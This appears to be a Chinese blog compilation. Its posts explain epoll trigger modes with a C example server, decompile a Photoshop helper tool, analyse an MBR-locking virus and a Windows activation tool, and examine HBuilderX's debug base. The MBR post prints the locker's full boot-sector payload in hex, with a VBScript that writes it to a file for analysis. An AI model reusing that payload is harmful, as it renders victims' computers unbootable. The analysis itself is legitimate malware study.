分析
分析

epoll 电平触发、边沿触发

看视频里有一句话有疑问,所以看了下电平触发和边沿触发。这句话是:“在复用IO里必须使用阻塞模式”这句话是错误的

epoll 对文件描述符有两种操作模型:电平触发(LT)、边沿触发(ET)。select 和 poll 模型只有电平触发。

电平触发:也就是只有高电平(1)或低电平(0)时才触发通知。

边沿触发:只有电平发生变化(高电平到低电平,或者低电平到高电平)的时候才触发通知。

1571123733(1).png

由于上升沿和下降沿是电压发生变化而产生的,所以可以理解为边沿触发只有发生变化才会触发

而高电平低电平是可以一直保持的,可以看到高电平②是比高电平①要长的,是因为IIC传输数据的时候是两条线,有一条时间线,所以在一段时间内可以一直高电平或者低电平也没事。所以电平触发会一直通知,直到状态发生改变。由高电平转到低电平,由有数据变为无数据,否则会一直提示即使缓冲区里面的数据没有读完也是会提示你继续读取。

这里只是以电平的转换过程来理解LT和ET模式,并不是说功能的实现是高低电平,只是一种理解方式或者说是实现的原理上差不多。

电平触发指的是:当存在一个读写事件的时候,epoll会发送消息,也就是会从睡眠状态中醒来,然后继续走代码,如果没有事件发生,会一直堵塞,下面的代码不会触发。如果这个事件到来,比如读事件到来后,可以暂时不做处理,当下次循环的时候,会继续触发这个事件,可以在读取。直到内存中的数据被你读完。这个读的事件在下次循环的时候才不会触发。否则会一直触发。


边沿触发和电平触发恰恰相反,如果你这次事件不处理,那么下次这个事件不会继续通知。所以在性能方面边沿触发要更好一些,因为从睡眠醒来的次数比较少。边缘触发注意的是:如果你这次事件读取的内容没有读取完成,还剩余一部分,那么下次不会触发读事件,但是如果有新的数据写入到文件描述符,那么读事件会再次触发。


水平触发(原文)

1. 对于读操作

只要缓冲内容不为空,LT模式返回读就绪。

2. 对于写操作

只要缓冲区还不满,LT模式会返回写就绪。

边缘触发

1. 对于读操作

(1)当缓冲区由不可读变为可读的时候,即缓冲区由空变为不空的时候。

(2)当有新数据到达时,即缓冲区中的待读数据变多的时候。

(3)当缓冲区有数据可读,且应用进程对相应的描述符进行EPOLL_CTL_MOD 修改EPOLLIN事件时。

2. 对于写操作

(1)当缓冲区由不可写变为可写时。

(2)当有旧数据被发送走,即缓冲区中的内容变少的时候。

(3)当缓冲区有空间可写,且应用进程对相应的描述符进行EPOLL_CTL_MOD 修改EPOLLOUT事件时。

epool 更改LT、ET模式

epoll事件结构

    typedef union epoll_data {
        void    *ptr;
        int      fd;
        uint32_t u32;
        uint64_t u64;
    } epoll_data_t;
    struct epoll_event {
        uint32_t     events;    /* Epoll events */
        epoll_data_t data;      /* User data variable */
    };

events可以包含两种:

LT:EPOLLIN(默认模式)

ET:EPOLLET

填充相应的方式即可更改触发模式。

代码解释

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <assert.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/epoll.h>
#include <pthread.h>
#define MAX_EVENT_NUMBER 1024
#define BUFFER_SIZE 10
int setnonblocking( int fd )
{
    int old_option = fcntl( fd, F_GETFL );
    int new_option = old_option | O_NONBLOCK;
    fcntl( fd, F_SETFL, new_option );
    return old_option;
}
void addfd( int epollfd, int fd, bool enable_et )
{
    epoll_event event;
    event.data.fd = fd;
    event.events = EPOLLIN;
    if( enable_et )
    {
        event.events |= EPOLLET;
    }
    epoll_ctl( epollfd, EPOLL_CTL_ADD, fd, &event );
    setnonblocking( fd );
}
void lt( epoll_event* events, int number, int epollfd, int listenfd )
{
    char buf[ BUFFER_SIZE ];
    for ( int i = 0; i < number; i++ )
    {
        int sockfd = events[i].data.fd;
        if ( sockfd == listenfd )
        {
            struct sockaddr_in client_address;
            socklen_t client_addrlength = sizeof( client_address );
            int connfd = accept( listenfd, ( struct sockaddr* )&client_address, &client_addrlength );
            addfd( epollfd, connfd, false );
        }
        else if ( events[i].events & EPOLLIN )
        {
            printf( "event trigger once\n" );
            memset( buf, '\0', BUFFER_SIZE );
            int ret = recv( sockfd, buf, BUFFER_SIZE-1, 0 );
            if( ret <= 0 )
            {
                close( sockfd );
                continue;
            }
            printf( "get %d bytes of content: %s\n", ret, buf );
        }
        else
        {
            printf( "something else happened \n" );
        }
    }
}
void et( epoll_event* events, int number, int epollfd, int listenfd )
{
    char buf[ BUFFER_SIZE ];
    for ( int i = 0; i < number; i++ )
    {
        int sockfd = events[i].data.fd;
        if ( sockfd == listenfd )
        {
            struct sockaddr_in client_address;
            socklen_t client_addrlength = sizeof( client_address );
            int connfd = accept( listenfd, ( struct sockaddr* )&client_address, &client_addrlength );
            addfd( epollfd, connfd, true );
        }
        else if ( events[i].events & EPOLLIN )
        {
            printf( "event trigger once\n" );
                // ET模式下,需要循环读取数据。
                //直到返回EAGAIN,因为下次不会通知。
            while( 1 ) 
            {
                memset( buf, '\0', BUFFER_SIZE );
                int ret = recv( sockfd, buf, BUFFER_SIZE-1, 0 );
                if( ret < 0 )
                {
                    if( ( errno == EAGAIN ) || ( errno == EWOULDBLOCK ) )
                    {
                        printf( "read later\n" );
                        break;
                    }
                    close( sockfd );
                    break;
                }
                else if( ret == 0 )
                {
                    close( sockfd );
                }
                else
                {
                    printf( "get %d bytes of content: %s\n", ret, buf );
                }
            }
        }
        else
        {
            printf( "something else happened \n" );
        }
    }
}
int main( int argc, char* argv[] )
{
    if( argc <= 2 )
    {
        printf( "usage: %s ip_address port_number\n", basename( argv[0] ) );
        return 1;
    }
    const char* ip = argv[1];
    int port = atoi( argv[2] );
    int ret = 0;
    struct sockaddr_in address;
    bzero( &address, sizeof( address ) );
    address.sin_family = AF_INET;
    inet_pton( AF_INET, ip, &address.sin_addr );
    address.sin_port = htons( port );
    int listenfd = socket( PF_INET, SOCK_STREAM, 0 );
    assert( listenfd >= 0 );
    ret = bind( listenfd, ( struct sockaddr* )&address, sizeof( address ) );
    assert( ret != -1 );
    ret = listen( listenfd, 5 );
    assert( ret != -1 );
    epoll_event events[ MAX_EVENT_NUMBER ];
    int epollfd = epoll_create( 5 );
    assert( epollfd != -1 );
    addfd( epollfd, listenfd, true );
    while( 1 )
    {
        int ret = epoll_wait( epollfd, events, MAX_EVENT_NUMBER, -1 );
        if ( ret < 0 )
        {
            printf( "epoll failure\n" );
            break;
        }
    
        lt( events, ret, epollfd, listenfd );
        //et( events, ret, epollfd, listenfd );
    }
    close( listenfd );
    return 0;
}

关于触发模式的选择

1.对于监听的sockfd,最好使用电平触发模式,边沿触发模式会导致高并发情况下,有的客户端会连接不上,因为事件可能只会触发一次。如果非要使用边沿触发,网上有的方案是用while来循环accept()。

2.对于读写的connfd,电平触发模式下,阻塞和非阻塞效果都一样,不过为了防止特殊情况,还是建议设置非阻塞,因为有的时候,电平触发已经发送事件,但是这个时候缓冲区的数据还未写,调用recv的时候有可能会出现堵塞状态,这是一种极端情况。

3.对于读写的connfd,边沿触发模式下,必须使用非阻塞IO,并要一次性全部读写完数据,因为如果设置成堵塞,你第一次数据没有读写完,那么不会再次epoll事件,你的recv会一直堵塞下去,直到有新的事件产生,你的recv才会再次收到事件,然后读写数据。如果是非堵塞的话,那么可以用while(1)来一直读数据。而不必等待事件


Assistor PS 分析

微信截图_20190806163246.png

Assistor PS  :Save Your Valuable Time (节省你的宝贵时间)

初看Assistor PS让我觉得惊为天人,不需要以插件的形式存在就可以进行读取图层,并且为每个图层进行标注,裁剪,距离计算等等一系列比较黑科技的功能。于是安奈不住分析一下。

微信截图_20190806163744.png

界面做的很漂亮,然后有几个按钮,本来想直接找按钮底下的事件,发现不是太好找,于是换了个思路,查找热键对应的事件。

反编译找到如下代码

GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.D1).Pressed = OnHotKeyPressed;
GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.D2).Pressed = OnHotKeyPressed;
GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.D3).Pressed = OnHotKeyPressed;
GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.D4).Pressed = OnHotKeyPressed;
GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.Q).Pressed = OnHotKeyPressed;
GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.W).Pressed = OnHotKeyPressed;
GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.E).Pressed = OnHotKeyPressed;

然后找到回调事件

switch (e.Key)
{
    default:
        return;
    case GlobalHotKey.Keys.D1:
        Tool.ExecutePosition();
    break;
    case GlobalHotKey.Keys.D2:
        Tool.ExecuteSize();
    break;
    case GlobalHotKey.Keys.D3:
        Tool.ExecuteDistance();
    break;
    case GlobalHotKey.Keys.D4:
        Tool.ExecuteText();
    break;
    case GlobalHotKey.Keys.Q:
        Tool.ExecuteGuideBox();
    break;
    case GlobalHotKey.Keys.W:
        Tool.ExecuteSnips();
    break;
    case GlobalHotKey.Keys.A:
        Tool.ExecuteDescription();
    break;
}

发现作者是将一些操作封装了一下,查看这个Tool类。

public void ExecutePosition()
{
    this.AppendLog(LogType.Information, LogSubType.Execute, AssistorLogType.LayerDescriptor_Position, string.Empty, string.Empty);
    this.(ScriptProvider.Execute(ScriptMethodType.Position, this.()));
}
public void ExecuteSize()
{
    this.AppendLog(LogType.Information, LogSubType.Execute, AssistorLogType.LayerDescriptor_Size, string.Empty, string.Empty);
    this.(ScriptProvider.Execute(ScriptMethodType.Size, this.()));
}
public void ExecuteText()
{
    this.AppendLog(LogType.Information, LogSubType.Execute, AssistorLogType.LayerDescriptor_Text, string.Empty, string.Empty);
    this.(ScriptProvider.Execute(ScriptMethodType.Text, this.()));
}
public void ExecuteDistance()
{
    this.AppendLog(LogType.Information, LogSubType.Execute, AssistorLogType.LayerDescriptor_Distance, string.Empty, string.Empty);
    this.(ScriptProvider.Execute(ScriptMethodType.Distance, this.()));
}
public void ExecuteGuideBox()
{
    this.AppendLog(LogType.Information, LogSubType.Execute, AssistorLogType.LayerDescriptor_GuideBox, string.Empty, string.Empty);
    this.(ScriptProvider.Execute(ScriptMethodType.GuideBox, this.()));
}
public void ExecuteSnips()
{
    this.AppendLog(LogType.Information, LogSubType.Execute, AssistorLogType.LayerDescriptor_Snips, string.Empty, string.Empty);
    this.(ScriptProvider.Execute(ScriptMethodType.Snips, this.()));
}

然后有一个ScriptProvider,这里面有一些比较好的进程之间的写法,总的来说,通过ScriptMethodType判断你的执行操作类型,然后执行Photoshop的JSX脚本。

ScriptMethodType类型

public enum ScriptMethodType
{
    Position,
    Size,
    Text,
    Distance,
    GuideBox,
    Snips,
    Description,
    Document,
    Guides,
    GuidesHCenter,
    GuidesVCenter,
    GuidesClear,
    Rounder,
    Tiler,
    Capture
}

JSX脚本

  1.     JSX.WIT.Photoshop.Application.jsx

  2.     JSX.WIT.Photoshop.Common.jsx

  3.     JSX.WIT.Photoshop.Document.jsx

  4.     JSX.WIT.Photoshop.DrawingContext.jsx

  5.     JSX.WIT.Photoshop.JSON.jsx

  6.     JSX.WIT.Photoshop.Parameter.jsx

  7.     JSX.WIT.Photoshop.Parser.jsx

  8.     JSX.WIT.Photoshop.Polygons.jsx

  9.     JSX.WIT.Photoshop.Processor.jsx

  10.     JSX.WIT.Photoshop.Script.Capture.jsx

  11.     JSX.WIT.Photoshop.Script.Distance.jsx

  12.     JSX.WIT.Photoshop.Script.Export.jsx

  13.     JSX.WIT.Photoshop.Script.GuideBox.jsx

  14.     JSX.WIT.Photoshop.Script.Guides.jsx

  15.     JSX.WIT.Photoshop.Script.GuidesClear.jsx

  16.     JSX.WIT.Photoshop.Script.GuidesHCenter.jsx

  17.     JSX.WIT.Photoshop.Script.GuidesVCenter.jsx

  18.     JSX.WIT.Photoshop.Script.jsx

  19.     JSX.WIT.Photoshop.Script.Position.jsx

  20.     JSX.WIT.Photoshop.Script.Rounder.jsx

  21.     JSX.WIT.Photoshop.Script.Size.jsx

  22.     JSX.WIT.Photoshop.Script.Snips.jsx

  23.     JSX.WIT.Photoshop.Script.Text.jsx

  24.     JSX.WIT.Photoshop.Script.Tiler.jsx

可以发现名字和ScriptMethodType自定义类型是一致的。

部分脚本源码

function Photoshop() {
    
    
    var desc = new ActionDescriptor();
    var ref = new ActionReference();
    ref.putProperty(typeID("Prpr"), typeID("PbkO"));
    ref.putEnumerated(typeID("capp"), typeID("Ordn"), typeID("Trgt"));
    desc.putReference(typeID("null"), ref );
    
    var pdesc = new ActionDescriptor();
    pdesc.putEnumerated(typeID("performance"), typeID("performance"), typeID("accelerated"));    
    desc.putObject(typeID("T   "), typeID("PbkO"), pdesc );
    executeAction(typeID("setd"), desc, DialogModes.NO);
    
}
Photoshop.prototype.SetPanelVisibility = function(panelName, visible)
{
    try {
        var desc = new ActionDescriptor();
        var ref = new ActionReference(); 
        ref.putName( stringIDToTypeID( "classPanel" ), panelName ); 
        desc.putReference( charIDToTypeID( "null" ), ref ); 
        executeAction( stringIDToTypeID( visible ? "show" : "hide"), desc, DialogModes.NO );  
    }
    catch(ex)
    {
    }
        
 
}
Photoshop.prototype.SetLayersPanelVisibility = function(visible)
{
    this.SetPanelVisibility('panelid.static.layers', visible);    
}
Photoshop.prototype.GetActiveDocument = function(){
    return new Document(this, this.GetActiveDocumentId());        
    
};
Photoshop.prototype.GetActiveDocumentId = function(){
    try {        
        var documentReference = new ActionReference();
        documentReference.putProperty(typeID("Prpr"), typeID("DocI"));
        documentReference.putEnumerated(typeID("Dcmn"), typeID("Ordn"), typeID("Trgt"));
        var documentDescriptor = executeActionGet(documentReference);
        return documentDescriptor.getInteger(typeID("DocI"));    
    }
    catch(ex) {
        return -1;        
    }
};
Photoshop.prototype.SetActiveDocument = function(document) {
    
    this.SetActiveDocumentFromId(document.DocumentId);
};
Photoshop.prototype.SetActiveDocumentFromId = function(documentId) {
    
    var documentDescriptor = new ActionDescriptor();
    var documentReference = new ActionReference();
    documentReference.putIdentifier(typeID("Dcmn"), documentId);
    documentDescriptor.putReference(typeID("null"), documentReference);
    executeAction(typeID("slct"), documentDescriptor, DialogModes.NO);
};
Photoshop.prototype.GetRulerUnits = function() {
    return preferences.rulerUnits; 
};
Photoshop.prototype.SetRulerUnits = function (rulerUnits) {
    preferences.rulerUnits = rulerUnits;
};
Photoshop.prototype.GetTypeUnits = function () {
    return preferences.typeUnits;
};
Photoshop.prototype.SetTypeUnits = function (typeUnits) {
    preferences.typeUnits = typeUnits;
};


【闲篇】对一款MBR病毒的分析

MBR是主引导记录,能不能进入系统全指望它。现在有些病毒也瞄上了它。刚看帖看到一个人说中了这种病毒,并给了一个样本,所以就分析一下。如有错误还望指出。


中毒后表现:(由于第一次直接解密后mbr已经清掉。所以显示的ID和分析的不一致。)


屏幕快照 2019-01-15 下午10.04.59.png


主程序是一个vm加壳后的程序,运行后有一个界面,有一个按钮,点击后会重写你的mbr,mbr代码如下。


屏幕快照 2019-01-15 下午9.57.39.png


上述是mbr的十六进制展示格式,要分析的话还是需要转换成字节。写了个VBScript的脚本来做转换。



WriteData = "E900008CC88ED88ED08EC0BC0001BDED7CBBED7CE8B00089C1B80113BB0C00B200CD10B800B805A0008ED831C931DB31C0CD163C0874133C0D741BB402880788670181C3020041E9E5FF81EB02004931C08907E9D9FF8CC88EC031DBBEDA7C2E8A0ED97CB5003E8A07268A2438E0753181C3020046E2EF31C0B8007E8EC031DBB402B280B001B600B500B103CD1331DBB280B403B001B600B500B101CD13E91D00BB00B881C33800B05888072E8B0ED97C31C0890781C30200E2F8E945FFB8FFFF50B8000050CB51533E8A0F80F90074054340E9F3FF595BC307394439373346670000000000000000000000005151333339363239363734370D0A5151333131303038333234380D0A0D0A594F5552204944203D2042433033620D0A0D0A42793A58692059616E672059616E67000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055AA"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetFolder(".").Path & "\1.exe"
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
msgbox Mid(WriteData,i,2)
FileObj.Write chrw(cbyte("&h" & mid(WriteData,i,2)))
Next
FileObj.Close
End If


然后分析这个1.exe就可以了,拖到ida里,代码很少,只有512个字节,这也是mbr的固定大小。可以看到如下的关键代码,为了方便观看,所以备注了。



其中的39H,44H,39H,37H,33H,46H,67H就是密码。转成字符串就可以了。

浅酌小饮之激活工具的问题

前几天用激活工具激活系统的时候提示成功,但是重启电脑后无法正确开机,最后重装。今天同事告诉我,他激活后无限重启。于是我就想研究研究这个激活工具,下载了同事说的会让他无限重启的一个激活工具不知道版本是否正确。


屏幕快照 2018-12-21 下午11.03.00.png

看第一条pushad指令感觉它是加了一个压缩壳,所以用ESP寄存器脱一下壳就好了,不然后面的RC数据你是拿不到的。我第一次脱得时候直接卡住了调试工具。于是用了一个以前的技术脱壳的。


屏幕快照 2018-12-21 下午10.27.17.png


首先选择纠正映像大小,因为你载入内存这个大小是会变的,所以你还要修复一下。然后在点击完整脱壳。这种脱壳方式有个不好的地方就是它的输入输出表有可能不会帮你完整的dump下来。所以你还要在修复输入输出表。


屏幕快照 2018-12-21 下午10.26.25.png


一般遇到强壳,修复输入输出表指针的时候会出现问题。因为壳把你的指针给隐藏或者抽离再或者混淆。办法很多,所以这里的指针修复的话也有三个等级。都不行的话 可以尝试直接删除无效的指针。不过这次比较好,都是有效指针,直接转存修复就好了。


屏幕快照 2018-12-21 下午11.08.16.png


这个时候你在转存修复。就会是一个push ebp 一个32位的ebp寄存器入栈的操作,这个也叫领空。领空的开始代表是一个子程序的开始,只不过这里是主线程。


我尝试着找到了界面上激活的功能子程序开头。


屏幕快照 2018-12-21 下午11.10.47.png

但是进入其中一个call的时候会出现长时间等待,然后提示不支持我的系统。因为我的系统是xp。那没办法,直接静态的大致看一下流程。实际可以用ida来看,不过大晚上就不折腾了。看了下流程基本上是这样的:


检测360杀毒->KMS服务安装->slmgr->x0 


由于同事提到重启,我也看了下这个程序有没有调用系统的重启命令。发现并没有。这里提一下,所有的重启系统的操作最后都会接管到系统的ExitWindowsEx函数。


BOOL ExitWindowsEx(
  UINT  uFlags,
  DWORD dwReason
);


最后发现造成我系统无法进入系统的问题应该是引导被破坏了,因为这个软件进行了引导的读写操作,win10的引导实际和win7的方式不一样,采用了一个新的引导方式。所以可能不兼容导致我的电脑无法开机。同事的重启我倒是没看到为什么。有时间的话,后续也许会下载同事用的版本在好好的分析看看,这次只是因为好久不更新文章了,强行刷一篇吧。

HBuilderX 测试基座分析

微信截图_20181031145619.png


新建一个项目,Html代码如下:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" />
    <title></title>
    <script src="js/mui.min.js"></script>
    <link href="css/mui.min.css" rel="stylesheet"/>
    <script type="text/javascript" charset="utf-8">
      mui.init();
    </script>
</head>
<body>
<button>test</button> 
</body>
</html>


由于云打包还需要填写一些信息,这里就直接模拟器调试了。


微信截图_20181031144857.png


看这个界面感觉还是蛮不错的,点击按钮也有一些效果。不过后来更改了下代码。然后直接Ctrl+S。随着一些输出信息结束,发现模拟器的界面竟然也变化了。要知道,如果是正常的开发,这种上传操作,肯定会覆盖APP,导致APP关闭,然后在启动的。而这个却没有这一变化。于是感觉实际是一个webview。ADB通知APP重载而已。


验证如下:


首先查看这个基座的界面节点信息:


微信截图_20181031145109.png


展开树结构到最后一个节点,可以发现是一个WebView。而它载入的URL可以通过输出信息来查看。


微信截图_20181031145134.png

在内存卡的Android目录下面。逐级展开这个目录,会发现自己写的代码。


微信截图_20181031145209.png


这是HBuilder调试基座的一些信息,如果真实的APP也是这样的结构,这样的方式存储。那么就会存在一个问题。。。